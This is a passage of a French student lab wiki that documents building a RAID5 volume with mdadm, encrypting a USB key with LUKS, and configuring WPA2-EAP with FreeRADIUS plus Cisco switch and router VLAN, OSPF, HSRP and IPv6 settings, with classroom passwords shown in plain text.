 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w','''&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm.&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     '''Raid Level : raid5'''&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 '''Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.&lt;br /&gt;
 # nano /etc/fstab&lt;br /&gt;
 &lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 proc            /proc           proc    defaults        0       0&lt;br /&gt;
 devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0&lt;br /&gt;
 /dev/xvda1 none swap sw 0 0&lt;br /&gt;
 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1&lt;br /&gt;
 /dev/xvdb1		/home		ext4		defaults				0		2&lt;br /&gt;
 /dev/xvdb2		/var		ext4		defaults				0		2&lt;br /&gt;
 '''/dev/md0		/media/raid	ext4		defaults				0		1'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
